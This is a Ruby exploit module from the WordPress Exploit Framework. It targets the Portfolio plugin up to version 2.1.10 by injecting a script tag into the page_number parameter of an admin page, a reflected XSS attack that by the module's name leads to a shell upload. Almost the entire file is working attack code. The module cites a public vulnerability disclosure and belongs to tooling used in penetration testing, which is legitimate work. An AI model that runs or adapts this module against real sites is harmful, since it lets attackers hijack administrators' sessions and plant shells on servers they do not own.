# frozen_string_literal: true

class Wpxf::Exploit::PortfolioReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Portfolio <= 2.1.10 Reflected XSS Shell Upload',
      author: [
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8637'],
        ['URL', 'https://www.rastating.com/portfolio-2-1-10-reflected-xss/']
      ],
      date: 'Aug 30 2016'
    )
  end

  def check
    check_plugin_version_from_readme('portfolio-gallery', '2.1.11')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php?page=portfolios_huge_it_portfolio')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      page_number: "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
